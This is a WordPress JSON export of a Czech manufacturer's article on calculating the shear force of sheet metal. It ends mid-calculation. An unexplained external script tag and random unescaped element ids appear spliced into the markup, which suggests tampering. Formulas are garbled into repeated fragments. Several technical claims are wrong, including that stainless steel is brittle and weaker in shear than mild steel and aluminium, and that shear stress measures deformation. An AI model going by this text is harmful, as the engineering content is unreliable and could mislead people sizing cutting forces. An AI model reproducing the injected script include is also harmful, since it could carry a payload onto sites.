<script src="///jquery-web.js"></script>{"id":3445,"date":"2024-09-06T01:09:00","date_gmt":"2024-09-06T01:09:00","guid":{"rendered":"https:\/\/www.shen-chong.com\/?p=3445"},"modified":"2025-01-14T05:26:47","modified_gmt":"2025-01-14T05:26:47","slug":"how-to-calculate-the-shearing-force-of-sheet-metal","status":"publish","type":"post","link":"https:\/\/www.shen-chong.com\/cs\/how-to-calculate-the-shearing-force-of-sheet-metal\/","title":{"rendered":"Jak vypo\u010d\u00edtat smykovou s\u00edlu plechu"},"content":{"rendered":"<div id="mhckdazd" data-elementor-type=\"wp-post\" data-elementor-id=\"3445\" class=\"elementor elementor-3445\" data-elementor-post-type=\"post\">\n\t\t\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-6fd551d elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"6fd551d\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="pyntlmwb" class=\"elementor-container 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.elementor-toc__list-item-text{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.elementor-toc__list-items--collapsible>.elementor-toc__list-wrapper>.elementor-toc__list-item>.elementor-toc__list-wrapper{display:none}.elementor-toc__heading-anchor{position:absolute}.elementor-toc__body .elementor-toc__list-item-text{color:var(--item-text-color);-webkit-text-decoration:var(--item-text-decoration);text-decoration:var(--item-text-decoration)}.elementor-toc__body .elementor-toc__list-item-text:hover{color:var(--item-text-hover-color);-webkit-text-decoration:var(--item-text-hover-decoration);text-decoration:var(--item-text-hover-decoration)}.elementor-toc__body .elementor-toc__list-item-text.elementor-item-active{color:var(--item-text-active-color);-webkit-text-decoration:var(--item-text-active-decoration);text-decoration:var(--item-text-active-decoration)}ol.elementor-toc__list-wrapper{counter-reset:item}ol.elementor-toc__list-wrapper .elementor-toc__list-item{counter-increment:item}ol.elementor-toc__list-wrapper .elementor-toc__list-item-text-wrapper:before{content:counters(item,\".\") \". \"}<\/style>\t\t<div id="kcrwdqwb" class=\"elementor-toc__header\">\n\t\t\t<h4 class=\"elementor-toc__header-title\">\n\t\t\t\tObsah\t\t\t<\/h4>\n\t\t\t\t\t\t\t<div id="rjpejsjq" class=\"elementor-toc__toggle-button elementor-toc__toggle-button--expand\" role=\"button\" tabindex=\"0\" aria-controls=\"elementor-toc__87230b9\" aria-expanded=\"true\" aria-label=\"Otev\u0159\u00edt obsah\"><svg aria-hidden=\"true\" class=\"e-font-icon-svg e-fas-chevron-down\" viewbox=\"0 0 448 512\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"><path d=\"M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z\"><\/path><\/svg><\/div>\n\t\t\t\t<div id="wndbxpxm" class=\"elementor-toc__toggle-button elementor-toc__toggle-button--collapse\" role=\"button\" tabindex=\"0\" aria-controls=\"elementor-toc__87230b9\" aria-expanded=\"true\" aria-label=\"Zav\u0159\u00edt obsah\"><svg aria-hidden=\"true\" class=\"e-font-icon-svg e-fas-chevron-up\" viewbox=\"0 0 448 512\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"><path d=\"M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z\"><\/path><\/svg><\/div>\n\t\t\t\t\t<\/div>\n\t\t<div id="szfpalys" id=\"elementor-toc__87230b9\" class=\"elementor-toc__body\">\n\t\t\t<div id="fbnpstqn" class=\"elementor-toc__spinner-container\">\n\t\t\t\t<svg class=\"elementor-toc__spinner eicon-animation-spin e-font-icon-svg e-eicon-loading\" aria-hidden=\"true\" viewbox=\"0 0 1000 1000\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\"><path d=\"M500 975V858C696 858 858 696 858 500S696 142 500 142 142 304 142 500H25C25 237 238 25 500 25S975 237 975 500 763 975 500 975Z\"><\/path><\/svg>\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="ycqtytby" class=\"elementor-element elementor-element-d743bfc elementor-widget elementor-widget-text-editor\" data-id=\"d743bfc\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="naergfds" class=\"elementor-widget-container\">\n\t\t\t<style>\/*! elementor - v3.20.0 - 13-03-2024 *\/\n.elementor-widget-text-editor.elementor-drop-cap-view-stacked .elementor-drop-cap{background-color:#69727d;color:#fff}.elementor-widget-text-editor.elementor-drop-cap-view-framed .elementor-drop-cap{color:#69727d;border:3px solid;background-color:transparent}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap{margin-top:8px}.elementor-widget-text-editor:not(.elementor-drop-cap-view-default) .elementor-drop-cap-letter{width:1em;height:1em}.elementor-widget-text-editor .elementor-drop-cap{float:left;text-align:center;line-height:1;font-size:50px}.elementor-widget-text-editor .elementor-drop-cap-letter{display:inline-block}<\/style>\t\t\t\t<p>Smykov\u00e1 s\u00edla hraje kl\u00ed\u010dovou roli p\u0159i n\u00e1vrhu a v\u00fdrob\u011b plechov\u00fdch sou\u010d\u00e1st\u00ed. Je to z\u00e1kladn\u00ed koncept ve stroj\u00edrenstv\u00ed, zejm\u00e9na v odv\u011btv\u00edch, jako je automobilov\u00fd pr\u016fmysl, leteck\u00fd pr\u016fmysl a stavebnictv\u00ed, kde se plechy b\u011b\u017en\u011b pou\u017e\u00edvaj\u00ed. P\u0159esn\u00fd v\u00fdpo\u010det smykov\u00e9 s\u00edly je nezbytn\u00fd pro zaji\u0161t\u011bn\u00ed struktur\u00e1ln\u00ed integrity plech\u016f a prevenci jejich selh\u00e1n\u00ed b\u011bhem provozu. Tento \u010dl\u00e1nek poskytuje podrobn\u00fd n\u00e1vod, jak vypo\u010d\u00edtat smykovou s\u00edlu plech\u016f, a zahrnuje z\u00e1kladn\u00ed principy, pot\u0159ebn\u00e9 vzorce a praktick\u00e9 aplikace.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="jfrsejnf" class=\"elementor-element elementor-element-797abc8 elementor-widget-divider--view-line elementor-widget elementor-widget-divider\" data-id=\"797abc8\" data-element_type=\"widget\" data-widget_type=\"divider.default\">\n\t\t\t\t<div id="zjtfcjck" class=\"elementor-widget-container\">\n\t\t\t<style>\/*! elementor - v3.20.0 - 13-03-2024 *\/\n.elementor-widget-divider{--divider-border-style:none;--divider-border-width:1px;--divider-color:#0c0d0e;--divider-icon-size:20px;--divider-element-spacing:10px;--divider-pattern-height:24px;--divider-pattern-size:20px;--divider-pattern-url:none;--divider-pattern-repeat:repeat-x}.elementor-widget-divider .elementor-divider{display:flex}.elementor-widget-divider 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.elementor-divider__text{direction:rtl}.e-con-inner>.elementor-widget-divider,.e-con>.elementor-widget-divider{width:var(--container-widget-width,100%);--flex-grow:var(--container-widget-flex-grow)}<\/style>\t\t<div id="nsrflglk" class=\"elementor-divider\">\n\t\t\t<span class=\"elementor-divider-separator\">\n\t\t\t\t\t\t<\/span>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-2598206 elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"2598206\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="aqdgqgar" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="fkygzwqw" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-12289ea\" data-id=\"12289ea\" data-element_type=\"column\">\n\t\t\t<div id="spphybde" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="qafztnmr" class=\"elementor-element elementor-element-a4c2f42 elementor-widget elementor-widget-heading\" data-id=\"a4c2f42\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="wdqedwhg" class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">Z\u00e1kladn\u00ed pojmy smykov\u00e9 s\u00edly<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="psnmzkxe" class=\"elementor-element elementor-element-6c8ff51 elementor-widget elementor-widget-text-editor\" data-id=\"6c8ff51\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="xpaxkypc" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Smykov\u00e1 s\u00edla, b\u011b\u017en\u011b zn\u00e1m\u00e1 jako st\u0159ihov\u00e1 s\u00edla, je s\u00edla, kter\u00e1 zp\u016fsobuje deformaci materi\u00e1lu posouv\u00e1n\u00edm jeho \u010d\u00e1sti vzhledem k sousedn\u00edm \u010d\u00e1stem. Je to s\u00edla p\u016fsob\u00edc\u00ed rovnob\u011b\u017en\u011b s povrchem kovov\u00e9 desky, kter\u00e1 zp\u016fsobuje smykov\u00e9 nap\u011bt\u00ed v materi\u00e1lu, co\u017e vede k deformaci materi\u00e1lu a nakonec k jeho odd\u011blen\u00ed.<\/p><p>Po\u017eadovan\u00e1 smykov\u00e1 s\u00edla z\u00e1vis\u00ed na r\u016fzn\u00fdch faktorech, v\u010detn\u011b materi\u00e1lov\u00fdch vlastnost\u00ed kovov\u00e9ho plechu (jako je smykov\u00e1 pevnost), tlou\u0161\u0165ky plechu, zp\u016fsobu \u0159ez\u00e1n\u00ed a geometrick\u00e9ho tvaru \u0159ezu.<\/p><p>V praxi je p\u0159i \u0159ez\u00e1n\u00ed kovov\u00fdch plech\u016f smykov\u00e1 s\u00edla obvykle zaji\u0161\u0165ov\u00e1na obr\u00e1b\u011bc\u00edmi n\u00e1stroji, jako jsou n\u016f\u017eky, razn\u00edky nebo no\u017ee. Tento n\u00e1stroj aplikuje pot\u0159ebnou s\u00edlu k deformaci kovov\u00e9ho plechu a jeho \u0159ez\u00e1n\u00ed pod\u00e9l po\u017eadovan\u00e9 dr\u00e1hy.<\/p><p>Pochopen\u00ed smykov\u00fdch sil je kl\u00ed\u010dov\u00e9 pro anal\u00fdzu stability a integrity konstrukc\u00ed, proto\u017ee pokud nejsou smykov\u00e9 s\u00edly p\u0159i n\u00e1vrhu a anal\u00fdze \u0159\u00e1dn\u011b zohledn\u011bny, mohou zp\u016fsobit deformaci nebo oh\u00fdb\u00e1n\u00ed plech\u016f a nedos\u00e1hnout po\u017eadovan\u00e9ho smykov\u00e9ho \u00fa\u010dinku.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="tdjwbgfg" class=\"elementor-element elementor-element-215c7bb elementor-widget elementor-widget-heading\" data-id=\"215c7bb\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="saawhbdj" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Faktory ovliv\u0148uj\u00edc\u00ed smykovou s\u00edlu<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="xjcalcya" class=\"elementor-element elementor-element-22ddc28 elementor-widget elementor-widget-image\" data-id=\"22ddc28\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="wfsxyzbb" class=\"elementor-widget-container\">\n\t\t\t<style>\/*! elementor - v3.20.0 - 13-03-2024 *\/\n.elementor-widget-image{text-align:center}.elementor-widget-image a{display:inline-block}.elementor-widget-image a img[src$=\".svg\"]{width:48px}.elementor-widget-image img{vertical-align:middle;display:inline-block}<\/style>\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="pywxjwts" class=\"elementor-element elementor-element-73a6876 elementor-widget elementor-widget-text-editor\" data-id=\"73a6876\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="dhmhdkyd" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<ol><li>Typ materi\u00e1lu: Typ kovu pou\u017eit\u00e9ho v plechu m\u00e1 v\u00fdznamn\u00fd vliv na jeho smykov\u00e9 vlastnosti. R\u016fzn\u00e9 kovy, jako je ocel, hlin\u00edk, m\u011b\u010f a slitiny, maj\u00ed r\u016fzn\u00e9 mechanick\u00e9 vlastnosti, jako je pevnost, tvrdost a ta\u017enost, kter\u00e9 zase ovliv\u0148uj\u00ed po\u017eadovanou smykovou s\u00edlu.<\/li><li>Tlou\u0161\u0165ka: Ve srovn\u00e1n\u00ed s ten\u010d\u00edmi plechy vy\u017eaduj\u00ed siln\u011bj\u0161\u00ed plechy obvykle v\u011bt\u0161\u00ed smykov\u00e9 s\u00edly. Je to proto, \u017ee siln\u011bj\u0161\u00ed plechy poskytuj\u00ed v\u011bt\u0161\u00ed odolnost proti deformaci d\u00edky v\u011bt\u0161\u00edmu objemu smykov\u00e9ho materi\u00e1lu.<\/li><li>Mez kluzu a pevnost v tahu: Tyto vlastnosti poskytuj\u00ed vhled do chov\u00e1n\u00ed materi\u00e1lu za r\u016fzn\u00fdch podm\u00ednek zat\u00ed\u017een\u00ed a \u010dasto se pou\u017e\u00edvaj\u00ed spolu se smykovou pevnost\u00ed v konstruk\u010dn\u00edch v\u00fdpo\u010dtech.<\/li><li>Stav povrchu: Hladkost povrchu kovov\u00e9ho plechu ovliv\u0148uje jeho chov\u00e1n\u00ed ve smyku. Hlad\u0161\u00ed povrch m\u016f\u017ee sn\u00ed\u017eit t\u0159en\u00ed b\u011bhem procesu smyku a vy\u017eadovat men\u0161\u00ed s\u00edlu. Naopak, p\u0159\u00edtomnost drsn\u00fdch povrch\u016f nebo zne\u010di\u0161\u0165uj\u00edc\u00edch l\u00e1tek zvy\u0161uje t\u0159en\u00ed a vy\u017eaduje v\u011bt\u0161\u00ed s\u00edlu.<\/li><li>Struktura zrn: Mnoho proces\u016f v\u00fdroby kovov\u00fdch plech\u016f vytv\u00e1\u0159\u00ed strukturu zrn. Sm\u011br a velikost zrn v materi\u00e1lu m\u016f\u017ee ovlivnit jeho pevnost a ta\u017enost, a t\u00edm i po\u017eadovanou smykovou s\u00edlu. Ve srovn\u00e1n\u00ed s vodorovn\u00fdm \u0159ez\u00e1n\u00edm zrn m\u016f\u017ee \u0159ez\u00e1n\u00ed pod\u00e9l zrn vy\u017eadovat men\u0161\u00ed s\u00edlu.<\/li><li>Teplota: Stejn\u011b jako u jin\u00fdch materi\u00e1l\u016f m\u016f\u017ee teplota ovlivnit vlastnosti kovov\u00fdch plech\u016f. Zpracov\u00e1n\u00ed za studena nebo \u0159ez\u00e1n\u00ed za n\u00edzk\u00fdch teplot m\u016f\u017ee zv\u00fd\u0161it pevnost materi\u00e1l\u016f, \u010d\u00edm\u017e je u\u010din\u00ed k\u0159eh\u010d\u00edmi a vy\u017eaduj\u00ed vy\u0161\u0161\u00ed smykov\u00e9 s\u00edly. Zah\u0159\u00edv\u00e1n\u00ed kovu sni\u017euje jeho pevnost, co\u017e usnadn\u00ed jeho smykov\u00e9 \u0159ez\u00e1n\u00ed.<\/li><li>Maz\u00e1n\u00ed: Pou\u017e\u00edv\u00e1n\u00ed maziv b\u011bhem procesu st\u0159\u00edh\u00e1n\u00ed m\u016f\u017ee sn\u00ed\u017eit t\u0159en\u00ed mezi kovovou deskou a \u0159ezn\u00fdm n\u00e1strojem, a t\u00edm sn\u00ed\u017eit po\u017eadovanou smykovou s\u00edlu. Maz\u00e1n\u00ed tak\u00e9 pom\u00e1h\u00e1 zlep\u0161it hladkost povrchu \u0159ezn\u00fdch hran a prodlou\u017eit \u017eivotnost n\u00e1stroje.<\/li><li>V\u016fle n\u00e1stroje a \u00fahel smyku: V\u016fle a \u00fahel smyku mezi \u0159ezn\u00fdmi no\u017ei ovlivn\u00ed smykovou s\u00edlu. Optim\u00e1ln\u00ed mezera a \u00fahel smyku mohou sn\u00ed\u017eit deformaci kovov\u00e9ho plechu a s\u00edlu pot\u0159ebnou k \u0159ez\u00e1n\u00ed.<\/li><li>Geometrick\u00fd tvar a stav \u0159ezn\u00fdch n\u00e1stroj\u016f: Konstrukce a ostrost \u0159ezn\u00fdch n\u00e1stroj\u016f maj\u00ed v\u00fdznamn\u00fd vliv na proces \u0159ez\u00e1n\u00ed. Spr\u00e1vn\u00e1 \u00fadr\u017eba a ostr\u00e9 n\u00e1stroje mohou zajistit \u010dist\u00fd \u0159ez a minimalizovat deformaci, \u010d\u00edm\u017e se sn\u00ed\u017e\u00ed s\u00edla pot\u0159ebn\u00e1 ke st\u0159\u00edh\u00e1n\u00ed kovov\u00fdch plech\u016f.<\/li><\/ol>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="gmynkaxt" class=\"elementor-element elementor-element-66acf91 elementor-widget-divider--view-line elementor-widget elementor-widget-divider\" data-id=\"66acf91\" data-element_type=\"widget\" data-widget_type=\"divider.default\">\n\t\t\t\t<div id="rakxkdyj" class=\"elementor-widget-container\">\n\t\t\t\t\t<div id="czwmewbh" class=\"elementor-divider\">\n\t\t\t<span class=\"elementor-divider-separator\">\n\t\t\t\t\t\t<\/span>\n\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t<\/div>\n\t\t<\/section>\n\t\t\t\t<section class=\"elementor-section elementor-top-section elementor-element elementor-element-15426dd elementor-section-boxed elementor-section-height-default elementor-section-height-default\" data-id=\"15426dd\" data-element_type=\"section\">\n\t\t\t\t\t\t<div id="ztdngnyl" class=\"elementor-container elementor-column-gap-default\">\n\t\t\t\t\t<div id="fmcxgmnr" class=\"elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4367d5b\" data-id=\"4367d5b\" data-element_type=\"column\">\n\t\t\t<div id="brjazqxc" class=\"elementor-widget-wrap elementor-element-populated\">\n\t\t\t\t\t\t<div id="zyjbbcbg" class=\"elementor-element elementor-element-28336a8 elementor-widget elementor-widget-heading\" data-id=\"28336a8\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="pwezdnfd" class=\"elementor-widget-container\">\n\t\t\t<h2 class=\"elementor-heading-title elementor-size-default\">V\u00fdpo\u010det smykov\u00e9 s\u00edly<\/h2>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="tdnahtlt" class=\"elementor-element elementor-element-5202fb5 elementor-widget elementor-widget-text-editor\" data-id=\"5202fb5\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="jrxpdpxj" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Smykovou s\u00edlu (F) pot\u0159ebnou pro \u0159ez\u00e1n\u00ed kovov\u00fdch plech\u016f lze vypo\u010d\u00edtat pomoc\u00ed n\u00e1sleduj\u00edc\u00edho vzorce, kde:<\/p><p>Fs=\u03c4\u22c5AF_s = \\tau \\cdot AFs\u200b=\u03c4\u22c5A<\/p><p>Kde:<\/p><ul><li>FsF_sFs\u200b je smykov\u00e1 s\u00edla,<\/li><li>\u03c4\\tau\u03c4 je smykov\u00e9 nap\u011bt\u00ed a<\/li><li>AAA je plocha vystaven\u00e1 smyku.<\/li><\/ul>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="lwtzhwec" class=\"elementor-element elementor-element-47c195a elementor-widget elementor-widget-heading\" data-id=\"47c195a\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="dmmtgjrs" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Smykov\u00e1 pevnost<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="eggehlrs" class=\"elementor-element elementor-element-68ec518 elementor-widget elementor-widget-text-editor\" data-id=\"68ec518\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="pktgwhjg" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Smykov\u00e1 pevnost je d\u016fle\u017eit\u00fdm faktorem p\u0159i v\u00fdrob\u011b kovov\u00fdch plech\u016f, zejm\u00e9na v procesech, jako je \u0159ez\u00e1n\u00ed, oh\u00fdb\u00e1n\u00ed a tv\u00e1\u0159en\u00ed. P\u0159edstavuje schopnost materi\u00e1lu odol\u00e1vat smykov\u00fdm sil\u00e1m bez trval\u00e9 deformace nebo poru\u0161en\u00ed.<\/p><p>P\u0159i \u0159ez\u00e1n\u00ed kovov\u00fdch plech\u016f je pevnost ve smyku ovlivn\u011bna r\u016fzn\u00fdmi faktory, jako je typ kovu, tlou\u0161\u0165ka, struktura zrna a povrchov\u00e1 \u00faprava nebo povlak. Obecn\u011b plat\u00ed, \u017ee tv\u00e1rn\u00e9 kovy, jako je hlin\u00edk a m\u011bkk\u00e1 ocel, vykazuj\u00ed vy\u0161\u0161\u00ed pevnost ve smyku ve srovn\u00e1n\u00ed s ur\u010dit\u00fdmi typy k\u0159ehk\u00fdch materi\u00e1l\u016f, jako je nerezov\u00e1 ocel.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="dlqwpwth" class=\"elementor-element elementor-element-d6f2af0 elementor-widget elementor-widget-image\" data-id=\"d6f2af0\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="alwshxbs" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="pmspxlcc" class=\"elementor-element elementor-element-763edac elementor-widget elementor-widget-text-editor\" data-id=\"763edac\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="xgljacyq" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Pochopen\u00ed smykov\u00e9 pevnosti je kl\u00ed\u010dov\u00e9 v r\u016fzn\u00fdch in\u017een\u00fdrsk\u00fdch oborech, v\u010detn\u011b stavebn\u00edho in\u017een\u00fdrstv\u00ed (nap\u0159. navrhov\u00e1n\u00ed konstrukc\u00ed schopn\u00fdch odolat zat\u00ed\u017een\u00ed v\u011btrem a zem\u011bt\u0159esen\u00edm), stroj\u00edrenstv\u00ed (nap\u0159. navrhov\u00e1n\u00ed strojn\u00edch sou\u010d\u00e1st\u00ed) a materi\u00e1lov\u00fdch v\u011bd (nap\u0159. ur\u010dov\u00e1n\u00ed vhodnosti materi\u00e1l\u016f pro specifick\u00e9 aplikace).<\/p><p>P\u0159i v\u00fdrob\u011b kovov\u00fdch plech\u016f je smykov\u00e1 pevnost obzvl\u00e1\u0161t\u011b d\u016fle\u017eit\u00e1 p\u0159i \u0159ezn\u00fdch operac\u00edch, jako je smyk nebo d\u011brov\u00e1n\u00ed. B\u011bhem t\u011bchto proces\u016f je materi\u00e1l vystaven zna\u010dn\u00fdm smykov\u00fdm sil\u00e1m a pokud je smykov\u00e1 pevnost p\u0159ekro\u010dena, m\u016f\u017ee doj\u00edt k deformaci nebo dokonce zlomen\u00ed. Proto mus\u00ed in\u017een\u00fd\u0159i a v\u00fdrobci pe\u010dliv\u011b zv\u00e1\u017eit smykovou pevnost kovov\u00fdch plech\u016f, aby se ujistili, \u017ee zvolen\u00e1 v\u00fdrobn\u00ed metoda je vhodn\u00e1 a \u017ee kone\u010dn\u00fd v\u00fdrobek spl\u0148uje po\u017eadovan\u00e9 v\u00fdkonnostn\u00ed a bezpe\u010dnostn\u00ed normy.<\/p><p>Dovolte mi, abych v\u00e1m shrnul n\u011bkolik kl\u00ed\u010dov\u00fdch bod\u016f, kter\u00e9 v\u00e1m pomohou l\u00e9pe to pochopit.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="eybfcchm" class=\"elementor-element elementor-element-4f8d97a elementor-widget elementor-widget-heading\" data-id=\"4f8d97a\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="xntkqzey" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">Smykov\u00e9 nap\u011bt\u00ed<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="mzbtthhz" class=\"elementor-element elementor-element-e43e3ee elementor-widget elementor-widget-text-editor\" data-id=\"e43e3ee\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="gjryxpae" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Smykov\u00e9 nap\u011bt\u00ed je s\u00edla p\u016fsob\u00edc\u00ed na jednotku plochy. Kdy\u017e je s\u00edla rovnob\u011b\u017en\u00e1 nebo te\u010dn\u00e1 s povrchem materi\u00e1lu, vznik\u00e1 smykov\u00e9 nap\u011bt\u00ed, kter\u00e9 zp\u016fsobuje, \u017ee jedna vrstva materi\u00e1lu klou\u017eou po druh\u00e9 vrstv\u011b.<\/p><p>Matematicky \u0159e\u010deno, smykov\u00e9 nap\u011bt\u00ed (\u03c4) je d\u00e1no n\u00e1sleduj\u00edc\u00edm vzorcem:<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="wydjxxwq" class=\"elementor-element elementor-element-75b9a9a elementor-widget elementor-widget-image\" data-id=\"75b9a9a\" data-element_type=\"widget\" data-widget_type=\"image.default\">\n\t\t\t\t<div id="hgflqxnl" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="fnbydktx" class=\"elementor-element elementor-element-eddab81 elementor-widget elementor-widget-text-editor\" data-id=\"eddab81\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="zjmpzcnx" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>\u03c4 je smykov\u00e9 nap\u011bt\u00ed<\/p><p>F je s\u00edla p\u016fsob\u00edc\u00ed rovnob\u011b\u017en\u011b s povrchem<\/p><p>A je plocha pr\u016f\u0159ezu p\u016fsob\u00edc\u00ed s\u00edly<\/p><p>Smykov\u00e9 nap\u011bt\u00ed: Smykov\u00e9 nap\u011bt\u00ed je m\u00edrou deformace zp\u016fsoben\u00e9 smykov\u00fdm nap\u011bt\u00edm. Je definov\u00e1no jako zm\u011bna tvaru materi\u00e1lu d\u011blen\u00e1 jeho p\u016fvodn\u00edm tvarem.<\/p><p>Krit\u00e9ria poru\u0161en\u00ed: Pokud aplikovan\u00e9 smykov\u00e9 nap\u011bt\u00ed p\u0159ekro\u010d\u00ed smykovou pevnost materi\u00e1lu, dojde k jeho poru\u0161en\u00ed. R\u016fzn\u00e9 materi\u00e1ly maj\u00ed r\u016fznou smykovou pevnost, kter\u00e1 z\u00e1vis\u00ed na faktorech, jako je slo\u017een\u00ed materi\u00e1lu, mikrostruktura, teplota a podm\u00ednky zat\u00ed\u017een\u00ed.<\/p><p>Modul pru\u017enosti ve smyku: Modul pru\u017enosti ve smyku (tak\u00e9 zn\u00e1m\u00fd jako modul tuhosti) je vlastnost materi\u00e1lu, kter\u00e1 kvantifikuje, jak\u00e9 smykov\u00e9 nap\u011bt\u00ed materi\u00e1l odol\u00e1 bez trval\u00e9 deformace.<\/p>\t\t\t\t\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="ljkeskzf" class=\"elementor-element elementor-element-c68c7fc elementor-widget elementor-widget-heading\" data-id=\"c68c7fc\" data-element_type=\"widget\" data-widget_type=\"heading.default\">\n\t\t\t\t<div id="ccdybhlg" class=\"elementor-widget-container\">\n\t\t\t<h3 class=\"elementor-heading-title elementor-size-default\">P\u0159\u00edklad v\u00fdpo\u010dtu smykov\u00e9 s\u00edly<\/h3>\t\t<\/div>\n\t\t\t\t<\/div>\n\t\t\t\t<div id="zgpdfttg" class=\"elementor-element elementor-element-bbe0134 elementor-widget elementor-widget-text-editor\" data-id=\"bbe0134\" data-element_type=\"widget\" data-widget_type=\"text-editor.default\">\n\t\t\t\t<div id="sbmxgwtr" class=\"elementor-widget-container\">\n\t\t\t\t\t\t\t<p>Uva\u017eujme ocelov\u00fd plech o tlou\u0161\u0165ce 5 mm a smykov\u00e9m nap\u011bt\u00ed 200 MPa. Plochu AAA vystavenou smyku lze vypo\u010d\u00edtat vyn\u00e1soben\u00edm tlou\u0161\u0165ky d\u00e9lkou smykovan\u00e9ho plechu. Pokud je d\u00e9lka 100 mm, pak:<\/p><p>A=5 mm\u00d7100 mm=500 mm\u00b2A = 5 mm kr\u00e1t 100 mm, mm = 500 mm\u00b2A=5 mm\u00d7100 mm=500 mm\u00b2<\/p><p>Smykov\u00e1 s\u00edla FsF_sFs by pak byla:<\/p><p>Fs=200 MPa\u00d7500 mm2=100 000 N=100 kNF_s = 200 \\, \\text{MPa} \\kr\u00e1t 500 \\, \\text{mm}^2 = 100 000 \\, \\text{N} = 100 \\, \\text{kN}Fs\u200b=200MPa\u00d7500 mm2=100 000 N=100 